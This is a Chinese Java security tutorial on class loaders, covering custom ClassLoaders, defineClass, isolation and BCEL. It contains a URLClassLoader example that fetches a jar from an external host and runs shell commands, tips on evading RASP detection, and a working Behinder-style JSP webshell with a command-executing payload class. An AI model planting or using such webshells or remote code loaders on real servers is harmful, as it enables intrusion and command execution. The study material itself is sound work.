深入理解Java类加载机制与自定义ClassLoader

本文详细解析Java虚拟机类加载机制,包括加载、链接、初始化三大步骤,介绍内置类加载器及核心方法。通过代码示例,深入探讨如何自定义ClassLoader实现类动态加载,并对比Class.forName与ClassLoader.loadClass的区别,助你掌握Java类加载的原理与应用。

备注: 本系列java安全教程均参照Java安全

java类加载机制

Java类加载机制是指JVM将.class文件中的字节码读入内存,并将这些数据转换为Java类的过程。这个过程分为三个主要步骤:加载(Loading)、链接(Linking)和初始化(Initialization)。

类加载器:

  1. 启动类加载器(Bootstrap ClassLoader):这个类加载器是JVM自身的一部分,用来加载核心Java类库(通常是rt.jar)。
  2. 扩展类加载器(Extension ClassLoader):加载Java扩展库(位于<JAVA_HOME>/lib/ext目录下)。
  3. 系统类加载器(System/App ClassLoader):也称为应用程序类加载器,加载应用程序的类路径(classpath)上的类。

ClassLoader类有如下核心方法:

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

自定义类加载器:

通过继承ClassLoader类创建自己的类加载器。可以从文件系统加载类的字节码数据,示例如下:

package org.example;

public class Main {
    public static void main(String[] args) {
        System.out.println("Hello world!");
    }

    public String getHello() {
        return "Hello";
    }
}
package org.example;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;

public class CustomClassLoader extends ClassLoader {
    private String rootDir;

    public CustomClassLoader(String rootDir) {
        this.rootDir = rootDir;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        // 4. 自定义类加载逻辑
        byte[] classData = loadClassData(name);
      
    
        if (classData == null) {
            throw new ClassNotFoundException();
        } else {
            // 5. 去JVM注册该类
            return defineClass(name, classData, 0, classData.length);
        }
    }

    private byte[] loadClassData(String className) {
        // 将类名转换为路径名
        String fileName = rootDir + File.separatorChar + className.replace('.', File.separatorChar) + ".class";
        try (InputStream inputStream = new FileInputStream(fileName)) {
            // 获取文件的长度
            long length = new File(fileName).length();
            byte[] classData = new byte[(int) length];
            // 读取文件内容到字节数组
            int bytesRead = inputStream.read(classData);
            if (bytesRead != length) {
                throw new IOException("Could not read the entire file: " + fileName);
            }
            System.out.println("classData: " + Arrays.toString(classData));
            return classData;
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }

    @Override
    public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        synchronized (getClassLoadingLock(name)) {
            // 1. 首先检查类是否已经被加载
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                  //2. 查看是否可以获取父加载器
                    if (getParent() != null) {
                        c = getParent().loadClass(name);
                    } else {
                        c = ClassLoader.getSystemClassLoader().loadClass(name);
                    }
                } catch (ClassNotFoundException e) {
                    // 如果类在父类加载器中没有找到
                }

                if (c == null) {
                    // 3. 如果还是没有找到,则调用findClass来加载类
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // 记录性能统计数据
//                    PerfCounter.getParentDelegationTime().addTime(t1 - t0);
//                    PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
//                    PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
              //6. 如果resolve那么解析类
                resolveClass(c);
            }
            System.out.println(c);
            return c;
        }
    }

    public static void main(String[] args) {
        try {
            String rootDir = "/Users/chenluo/Documents/web/java-security/src/main/java/"; // 指定类文件存放的目录
            CustomClassLoader loader = new CustomClassLoader(rootDir);
            // 加载类
            Class<?> clazz = loader.loadClass("org.example.Main");
            System.out.println("Loaded by: " + clazz.getClassLoader());
            // 创建类的实例
            Object instance = clazz.getDeclaredConstructor().newInstance();
            System.out.println("Loaded class: " + instance.getClass().getName());
          	// 反射获取getHello方法
          	Method method = clazz.getMethod("getHello");
          	// 反射调用getHello方法
            System.out.println(method.invoke(instance));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Java类动态加载方式

显式(类动态加载):使用java反射或者ClassLoader来动态加载一个类对象

隐式:类名.方法名() 或者 new实例

常用的类动态加载方式:

// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");

// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

ClassLoader类加载流程

ClassLoader加载org.example.MainloadClass重要流程如下:

  1. ClassLoader会调用public Class<?> loadClass(String name)方法加载org.example.Main类。
  2. 调用findLoadedClass方法检查Main类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载Main类,否则使用JVM的Bootstrap ClassLoader加载。
  4. 如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载Main类。
  5. 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的org.example.Main类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
  6. 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类(解析类),默认为false。
  7. 返回一个被JVM加载后的java.lang.Class类对象。

注意:

第六步解析:

  • 符号引用到直接引用的转换
    • 在Java字节码中,类、方法、字段等通过符号引用来表示。例如,一个方法调用在字节码中表示为方法名称和描述符的符号引用。
    • 解析过程将这些符号引用转换为实际内存地址的直接引用。
  • 确保类型安全
    • 解析确保所有引用的类、接口、方法和字段都存在且可访问,保证了Java程序的类型安全。
  • resolveClass 方法:
    • resolveClass 方法是在类加载完成后用于链接类的。它完成链接的解析步骤,确保所有符号引用都被正确解析为直接引用。

自定义类加载器加载结果

自定义类加载器

上述自定义的类加载器有如下方法:

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        // 4. 自定义类加载逻辑
        byte[] classData = loadClassData(name);
      
    
        if (classData == null) {
            throw new ClassNotFoundException();
        } else {
            // 5. 去JVM注册该类
            return defineClass(name, classData, 0, classData.length);
        }
    }

这里可以自定义类加载逻辑,如下:

package org.example;

import java.lang.reflect.Method;

public class CustomClassLoader2 extends ClassLoader{

    private String rootDir;

    public CustomClassLoader2(String rootDir){
        this.rootDir = rootDir;
    }
  
  // 提前准备好的类字节码
    private byte[] classData = new byte[]{
            (byte)0xCA, (byte)0xFE, (byte)0xBA, (byte)0xBE, 0x00, 0x00, 0x00, 0x40, 0x00, 0x21, 0x0A, 0x00, 0x02, 0x00, 0x03, 0x07,
            0x00, 0x04, 0x0C, 0x00, 0x05, 0x00, 0x06, 0x01, 0x00, 0x10, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C,
            0x61, 0x6E, 0x67, 0x2F, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x01, 0x00, 0x06, 0x3C, 0x69, 0x6E,
            0x69, 0x74, 0x3E, 0x01, 0x00, 0x03, 0x28, 0x29, 0x56, 0x09, 0x00, 0x08, 0x00, 0x09, 0x07, 0x00,
            0x0A, 0x0C, 0x00, 0x0B, 0x00, 0x0C, 0x01, 0x00, 0x10, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61,
            0x6E, 0x67, 0x2F, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x01, 0x00, 0x03, 0x6F, 0x75, 0x74, 0x01,
            0x00, 0x15, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x69, 0x6F, 0x2F, 0x50, 0x72, 0x69, 0x6E, 0x74,
            0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x3B, 0x08, 0x00, 0x0E, 0x01, 0x00, 0x0C, 0x48, 0x65, 0x6C,
            0x6C, 0x6F, 0x20, 0x77, 0x6F, 0x72, 0x6C, 0x64, 0x21, 0x0A, 0x00, 0x10, 0x00, 0x11, 0x07, 0x00,
            0x12, 0x0C, 0x00, 0x13, 0x00, 0x14, 0x01, 0x00, 0x13, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x69, 0x6F,
            0x2F, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x01, 0x00, 0x07, 0x70,
            0x72, 0x69, 0x6E, 0x74, 0x6C, 0x6E, 0x01, 0x00, 0x15, 0x28, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F,
            0x6C, 0x61, 0x6E, 0x67, 0x2F, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x3B, 0x29, 0x56, 0x08, 0x00,
            0x16, 0x01, 0x00, 0x05, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x07, 0x00, 0x18, 0x01, 0x00, 0x10, 0x6F,
            0x72, 0x67, 0x2F, 0x65, 0x78, 0x61, 0x6D, 0x70, 0x6C, 0x65, 0x2F, 0x4D, 0x61, 0x69, 0x6E, 0x01,
            0x00, 0x04, 0x43, 0x6F, 0x64, 0x65, 0x01, 0x00, 0x0F, 0x4C, 0x69, 0x6E, 0x65, 0x4E, 0x75, 0x6D,
            0x62, 0x65, 0x72, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x01, 0x00, 0x04, 0x6D, 0x61, 0x69, 0x6E, 0x01,
            0x00, 0x16, 0x28, 0x5B, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61, 0x6E, 0x67, 0x2F, 0x53,
            0x74, 0x72, 0x69, 0x6E, 0x67, 0x3B, 0x29, 0x56, 0x01, 0x00, 0x08, 0x67, 0x65, 0x74, 0x48, 0x65,
            0x6C, 0x6C, 0x6F, 0x01, 0x00, 0x14, 0x28, 0x29, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61,
            0x6E, 0x67, 0x2F, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x3B, 0x01, 0x00, 0x0A, 0x53, 0x6F, 0x75,
            0x72, 0x63, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x01, 0x00, 0x09, 0x4D, 0x61, 0x69, 0x6E, 0x2E, 0x6A,
            0x61, 0x76, 0x61, 0x00, 0x21, 0x00, 0x17, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00,
            0x01, 0x00, 0x05, 0x00, 0x06, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x01, 0x00,
            0x01, 0x00, 0x00, 0x00, 0x05, 0x2A, (byte)0xB7, 0x00, 0x01, (byte)0xB1, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1A,
            0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x09, 0x00, 0x1B, 0x00, 0x1C,
            0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x25, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09,
            (byte)0xB2, 0x00, 0x07, 0x12, 0x0D, (byte)0xB6, 0x00, 0x0F, (byte)0xB1, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1A, 0x00,
            0x00, 0x00, 0x0A, 0x00, 0x02, 0x00, 0x00, 0x00, 0x05, 0x00, 0x08, 0x00, 0x06, 0x00, 0x01, 0x00,
            0x1D, 0x00, 0x1E, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x1B, 0x00, 0x01, 0x00, 0x01, 0x00,
            0x00, 0x00, 0x03, 0x12, 0x15, (byte)0xB0, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1A, 0x00, 0x00, 0x00, 0x06,
            0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x01, 0x00, 0x1F, 0x00, 0x00, 0x00, 0x02, 0x00, 0x20
    };

    @Override
    protected Class<?> findClass(String name){
        return defineClass(name, classData, 0, classData.length);
    }


    public static void main(String[] args) {
        try {
            CustomClassLoader2 loader = new CustomClassLoader2("/Users/chenluo/Documents/web/java-security/src/main/java/org/example");
          // 直接调用findClass加载目标类,注意名称
            Class<?> clazz = loader.findClass("org.example.Main");
            System.out.println("Loaded class: " + clazz.getName());
            Object instance = clazz.getDeclaredConstructor().newInstance();
            System.out.println("Instance created: " + instance);

            Method method = clazz.getMethod("getHello");
            String result = (String) method.invoke(instance);
            System.out.println(result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入Main类的字节码的方式来向JVM中定义一个Main类,最后通过反射机制就可以调用Main类的hello方法了。

findClass自定义加载类逻辑

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密了)。

备注:

  1. 提前准备好class文件:

    javac Main.java
  2. 使用BytePrinter打印类文件中的字节码数据:

    package org.example;
    
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    
    public class BytecodePrinter {
    
        public static void main(String[] args) {
    //        if (args.length != 1) {
    //            System.out.println("Usage: java BytecodePrinter <class file path>");
    //            return;
    //        }
    
          // 指定打印的类
            String classFilePath = "/Users/chenluo/Documents/web/java-security/src/main/java/org/example/Main.class";
            try {
                byte[] classData = loadClassData(classFilePath);
                if (classData != null) {
                    printBytecode(classData);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
        private static byte[] loadClassData(String classFilePath) throws IOException {
            File classFile = new File(classFilePath);
            long length = classFile.length();
          
          // 字节码数组
            byte[] classData = new byte[(int) length];
    
            try (FileInputStream inputStream = new FileInputStream(classFile)) {
              
              // 读取成功返回字节码数组的长度
                int bytesRead = inputStream.read(classData);
                if (bytesRead != length) {
                    throw new IOException("Could not read the entire file: " + classFilePath);
                }
            }
    
            return classData;
        }
    
        private static void printBytecode(byte[] classData) {
            for (int i = 0; i < classData.length; i++) {
              // 按照格式打印输出,方便备用
                System.out.printf("0x%02X, ", classData[i]);
                if ((i + 1) % 16 == 0) {
                    System.out.println();
                }
            }
            System.out.println();
        }
    }
  3. 生成Main.class文件的java版本要和CustomClassLoader2的运行java版本一致。即:命令行的java版本,和idea的运行版本要一致不然报错

java版本不一致报错

URLClassLoader

URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

  1. 准备远程的jar包:

import java.io.IOException;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class CMD {

    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }

}

将java文件打包成jar包:

步骤 1:编译 Java 文件

首先,你需要编译你的Java源文件(.java)生成字节码文件(.class)。假设你的Java源文件在 src/main/java/org/example 目录下,你可以使用以下命令进行编译:


javac -d out src/main/java/org/example/*.java

这里,-d out 指定编译后的类文件输出到 out 目录。

步骤 2:创建 JAR 文件

编译完成后,你可以使用 jar 命令将生成的 .class 文件打包成一个JAR文件。

创建简单的 JAR 文件

如果你不需要在 JAR 文件中包含清单文件(manifest),可以使用以下命令:


jar cf example.jar -C out .

这里:

  • c 表示创建一个新的JAR文件。
  • f 表示指定JAR文件的名称。
  • -C out . 表示从 out 目录开始打包所有内容。

创建包含清单文件的 JAR 文件

如果你希望指定一个主类(Main-Class),你可以创建一个 MANIFEST.MF 文件,然后打包:

  1. 创建 MANIFEST.MF 文件,例如:

    Main-Class: org.example.Main
  2. 使用以下命令创建JAR文件:

    jar cmf MANIFEST.MF example.jar -C out .

这里:

  • m 表示指定一个清单文件。
  • MANIFEST.MF 是清单文件的路径。

步骤3:远程加载jar包中的类

利用URLCLassLoader远程加载jar包,加载内部类:

package org.example;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL url = new URL("http://echo-machile.oss-cn-beijing.aliyuncs.com/2024-05-22-cmd.jar");

            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定义需要执行的系统命令
            String cmd = "ls -al";

            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("org.example.cmd");

            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 获取命令执行结果的输入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 输出命令执行结果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

远程加载类

常用 Java 命令

  1. 编译 Java 文件

    javac -d out src/main/java/org/example/*.java
  2. 运行 Java 程序

    java -cp out org.example.Main
  3. 创建 JAR 文件

    jar cf example.jar -C out .
  4. 创建包含清单文件的 JAR 文件

    jar cmf MANIFEST.MF example.jar -C out .
  5. 查看 JAR 文件内容

    jar tf example.jar
  6. 运行 JAR 文件

    java -jar example.jar

类加载隔离

  1. 创建类加载器时可以指定父类加载器
    • 当创建一个自定义类加载器实例时,可以通过构造函数指定它的父类加载器。
    • 例如,new CustomClassLoader(parentClassLoader) 会将 parentClassLoader 设定为 CustomClassLoader 的父类加载器。
  2. 类加载器有隔离机制
    • Java类加载器机制有一个重要特性:不同的类加载器实例可以加载同一个类名的类,但这些类在JVM中会被视为不同的类。
    • 这种机制为应用提供了类隔离的能力,允许同一JVM中加载不同版本的类。
  3. 不同的类加载器可以加载相同名称的类(只要它们不是父子关系)
    • 不同的类加载器(如果它们不是父子关系)可以加载同一类名的类。即使类名相同,只要加载它们的类加载器不同,这些类在JVM中也是不同的。
  4. 同级类加载器之间调用方法必须使用反射
    • 如果两个类加载器没有父子关系(即它们是同级的),一个类加载器加载的类不能直接调用另一个类加载器加载的类的方法。必须通过反射来调用。

类加载隔离

跨类加载器加载

RASP和IAST经常会用到跨类加载器加载类的情况,因为RASP/IAST会在任意可能存在安全风险的类中插入检测代码,因此必须得保证RASP/IAST的类能够被插入的类所使用的类加载正确加载,否则就会出现ClassNotFoundException,除此之外,跨类加载器调用类方法时需要特别注意一个基本原则:ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射

示例(跨类加载器加载):

自定义加载器A:

package org.example;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class CustomClassLoaderA extends ClassLoader {
    public CustomClassLoaderA(ClassLoader parent) {
        super(parent);
    }


    @Override
    public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        synchronized (getClassLoadingLock(name)) {
            // 首先检查类是否已经被加载
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();


                // 仅在加载非核心Java类时跳过父类加载器
                if (name.startsWith("java.")) {
                    try {
                        c = getParent().loadClass(name);
                    } catch (ClassNotFoundException e) {
                        // 如果类在父类加载器中没有找到,忽略异常
                    }
                }

                if (c == null) {
                    // 如果还是没有找到,则调用findClass来加载类
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // 记录性能统计数据
//                    PerfCounter.getParentDelegationTime().addTime(t1 - t0);
//                    PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
//                    PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            System.out.println(c);
            return c;
        }
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {

        if (name.startsWith("java.")) {
            return super.findClass(name);
        }


        // 自定义类加载逻辑,假设从文件系统加载类字节码
        byte[] classData = loadClassData(name);
        if (classData == null) {
            throw new ClassNotFoundException();
        }
        return defineClass(name, classData, 0, classData.length);
    }

    private byte[] loadClassData(String className) {
        System.out.println("加载器: " + this.getClass().getName());

        System.out.println("加载类: " + className);
        String fileName = className.replace('.', File.separatorChar) + ".class";
        String fullPath = "src/main/java/org/example/out" + File.separator + fileName;
        System.out.println("尝试加载文件: " + fullPath);
        try (InputStream inputStream = new FileInputStream(fullPath)) {
            File file = new File(fullPath);
            long length = file.length();
            System.out.println("Main.class File length: " + length);
            byte[] classData = new byte[(int) length];
            int bytesRead = inputStream.read(classData);
            System.out.println("Bytes read: " + bytesRead);
            if (bytesRead != length) {
                throw new IOException("Could not read the entire file: " + fullPath);
            }
            return classData;
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }
}

自定义加载器B:

package org.example;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class CustomClassLoaderB extends ClassLoader {
    public CustomClassLoaderB(ClassLoader parent) {
        super(parent);
    }



    @Override
    public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        synchronized (getClassLoadingLock(name)) {
            // 首先检查类是否已经被加载
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();

//                这里防止调用父类加载器,先注释掉
                if (name.startsWith("java.")) {
                    try {
                        c = getParent().loadClass(name);
                    } catch (ClassNotFoundException e) {
                        // 如果类在父类加载器中没有找到,忽略异常
                    }
                }

                if (c == null) {
                    // 如果还是没有找到,则调用findClass来加载类
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // 记录性能统计数据
//                    PerfCounter.getParentDelegationTime().addTime(t1 - t0);
//                    PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
//                    PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            System.out.println(c);
            return c;
        }
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {


        // 自定义类加载逻辑,假设从文件系统加载类字节码
        byte[] classData = loadClassData(name);
        if (classData == null) {
            throw new ClassNotFoundException();
        }
        return defineClass(name, classData, 0, classData.length);
    }


    private byte[] loadClassData(String className) {
        System.out.println("加载器: " + this.getClass().getName());

        System.out.println("加载类: " + className);
        String fileName = className.replace('.', File.separatorChar) + ".class";
        String fullPath = "src/main/java/org/example/out" + File.separator + fileName;
        System.out.println("尝试加载文件: " + fullPath);

      
        try (InputStream inputStream = new FileInputStream(fullPath)) {
            File file = new File(fullPath);
            long length = file.length();
            System.out.println("File length: " + length);
            byte[] classData = new byte[(int) length];
            int bytesRead = inputStream.read(classData);
            System.out.println("Bytes read: " + bytesRead);
            if (bytesRead != length) {
                throw new IOException("Could not read the entire file: " + fullPath);
            }
            return classData;
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }



}

跨加载器加载以及调用

package org.example;

import java.io.File;
import java.lang.reflect.Method;

public class CustomClassLoaderExample {
    public static void main(String[] args) throws Exception {


        // 打印当前工作目录
        System.out.println("Current working directory: " + new File(".").getAbsolutePath());


        // 父类加载器
        ClassLoader parentClassLoader = CustomClassLoaderExample.class.getClassLoader();


        // 创建两个自定义类加载器
        CustomClassLoaderA loader1 = new CustomClassLoaderA(parentClassLoader);
        CustomClassLoaderB loader2 = new CustomClassLoaderB(parentClassLoader);

        // 加载类
        Class<?> class1 = Class.forName("org.example.Main",true,loader1); // 使用 loader1 加载类
        Class<?> class2 = Class.forName("org.example.Main",true,loader2); // 使用 loader2 加载类

        // 检查类是否相同
        System.out.println("Are classes equal? " + (class1 == class2)); // 应该输出 false

        // 使用反射调用 loader2 加载的类的方法
        Object instance2 = class2.getDeclaredConstructor().newInstance();
        Method method = class2.getMethod("getHello");
        System.out.println(method.invoke(instance2));
    }
}

执行结果:

Current working directory: /Users/chenluo/Documents/web/java-security/.
加载器: org.example.CustomClassLoaderA
加载类: org.example.Main
尝试加载文件: src/main/java/org/example/out/org/example/Main.class
File length: 512
Bytes read: 512
class java.lang.Object
class org.example.Main
加载类: org.example.Main
尝试加载文件: src/main/java/org/example/out/org/example/Main.class
加载
File length: 512
Bytes read: 512
class java.lang.Object
class org.example.Main
Are classes equal? false
class java.lang.String
Hello

注意:

在加载类的时候,会加载与这个类相关的所有类,如上所示的class java.lang.Object

JSP自定义类加载后门

冰蝎(Behinder)是一种广泛使用的WebShell工具,它利用自定义类加载器和动态字节码生成技术,在服务器上执行恶意代码。以下是冰蝎JSP后门的工作原理的详细解释。

主要步骤

  1. 动态编译和加密
    • 冰蝎的客户端首先将待执行的命令或代码片段动态编译成Java类字节码。
    • 为了避免被简单检测,这些字节码会被AES加密。
    • 加密后的字节码通过HTTP请求发送到服务器上的JSP后门。
  2. 服务器端解密
    • 服务器端的JSP后门接收到加密的字节码。
    • 通过AES解密,得到一个随机类名的Java类字节码。
  3. 自定义类加载器加载字节码
    • JSP后门使用自定义类加载器加载解密后的字节码。
    • 加载后的类会动态生成并加载到JVM中。
  4. 执行恶意代码
    • 加载的类包含重写的equals方法,冰蝎客户端通过调用这个equals方法来执行恶意代码。
    • equals方法会接受一个pageContext对象参数,这样可以方便地获取HTTP请求和响应对象,执行各种Web操作。
  5. 类成员变量存储命令
    • 冰蝎的命令执行参数不会直接从HTTP请求中获取,而是通过动态生成的类成员变量进行存储。这样可以进一步避免被简单检测。

JSP后门代码

<%@ page import="java.util.*, java.io.*, java.lang.reflect.*, javax.crypto.Cipher, javax.crypto.spec.SecretKeySpec" %>
<%!
public class CustomClassLoader extends ClassLoader {
    public Class<?> defineClass(byte[] b) {
        return defineClass(null, b, 0, b.length);// 类名称,类字节码,偏移量,字节码长度
    }
}

public byte[] decrypt(byte[] data, String key) throws Exception {
    SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), "AES");
    Cipher cipher = Cipher.getInstance("AES");
    cipher.init(Cipher.DECRYPT_MODE, skeySpec);
    return cipher.doFinal(data);
}

%>

<%
    // 获取加密的字节码和密钥
    byte[] encryptedClassBytes = (byte[]) request.getAttribute("data");
    String key = "1234567890123456"; // 假设密钥是已知的

    // 解密字节码
    byte[] classBytes = decrypt(encryptedClassBytes, key);

    // 使用自定义类加载器加载字节码
    CustomClassLoader customClassLoader = new CustomClassLoader();
    Class<?> maliciousClass = customClassLoader.defineClass(classBytes);

    // 创建实例并调用equals方法
    Object maliciousInstance = maliciousClass.getDeclaredConstructor().newInstance();
    Method equalsMethod = maliciousClass.getMethod("equals", Object.class);
    equalsMethod.invoke(maliciousInstance, pageContext);
%>

动态生成的类(客户端)

客户端生成的恶意类会包含类似下面的代码:

public class Malicious {
    private String command = "whoami"; // 示例命令

    @Override
    public boolean equals(Object obj) {
        // 获取pageContext对象
        PageContext pageContext = (PageContext) obj;
        HttpServletRequest request = (HttpServletRequest) pageContext.getRequest();
        HttpServletResponse response = (HttpServletResponse) pageContext.getResponse();

        // 执行命令并获取结果
        String result = executeCommand(command);

        // 输出结果
        try {
            response.getWriter().write(result);
        } catch (IOException e) {
            e.printStackTrace();
        }

        return true;
    }

    private String executeCommand(String command) {
        StringBuilder output = new StringBuilder();
        try {
            Process process = Runtime.getRuntime().exec(command);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
        return output.toString();
    }
}

pageContext 对象是 JSP 中的一个隐含对象,代表当前页面的上下文。它提供了对其他隐含对象(如 requestresponsesessionapplication)的访问,并包含一些方法来操作这些对象。

主要功能:

  1. 访问隐含对象

    • 可以通过 pageContext 访问 requestresponsesessionapplication 等隐含对象。

    • 示例:

      HttpServletRequest request = (HttpServletRequest) pageContext.getRequest();
      HttpServletResponse response = (HttpServletResponse) pageContext.getResponse();
      HttpSession session = pageContext.getSession();
      ServletContext application = pageContext.getServletContext();
  2. 设置和获取属性

    • 可以在页面范围内设置和获取属性。

    • 示例:

      
      pageContext.setAttribute("attributeName", attributeValue);
      Object value = pageContext.getAttribute("attributeName");
  3. 转发请求

    • 可以将请求转发到其他资源(如 JSP 或 Servlet)。

    • 示例:

      pageContext.forward("/otherPage.jsp");

详细步骤和安全建议

详细步骤

  1. 动态编译和加密
    • 客户端动态生成包含恶意代码的Java类,并编译成字节码。
    • 使用AES加密字节码,防止传输过程中被检测到。
  2. 服务器端解密和加载
    • JSP后门接收加密字节码并解密。
    • 使用自定义类加载器将解密后的字节码定义为Java类。
  3. 执行恶意代码
    • 调用动态生成类的equals方法,传递pageContext对象。
    • equals方法中获取HTTP请求和响应对象,执行命令并将结果返回给客户端。

安全建议

  1. 输入验证:对所有输入进行严格验证,避免执行未经过滤的用户输入。
  2. 代码审计:定期对代码进行安全审计,确保没有潜在的漏洞。
  3. 使用WAF:部署Web应用防火墙(WAF),检测和阻止恶意请求。
  4. 加密通信:确保客户端和服务器之间的通信是加密的,防止中间人攻击。

通过了解冰蝎JSP后门的工作原理和防御措施,开发者可以更好地保护自己的应用程序免受类似攻

BCEL ClassLoader

BCEL(Byte Code Engineering Library)是一个用于分析、创建和操纵Java字节码的工具库。开发者可以使用BCEL创建、修改和检查Java类文件中的字节码。它在静态分析、安全研究和代码生成方面具有重要应用。

BCEL的类加载器(ClassLoader)

BCEL提供了一个自定义类加载器,用于加载通过BCEL生成或修改的类。在Oracle JDK中,BCEL库的类加载器被引用,并将其包名从org.apache.bcel.util.ClassLoader修改为com.sun.org.apache.bcel.internal.util.ClassLoader

特殊处理的类名:BCEL标识

BCEL的类加载器在解析类名时,会对包含$$BCEL$$标识的类做特殊处理。这一特性使得BCEL在生成和加载动态字节码时,可以识别并处理特定的类名。

攻击Payload中的应用

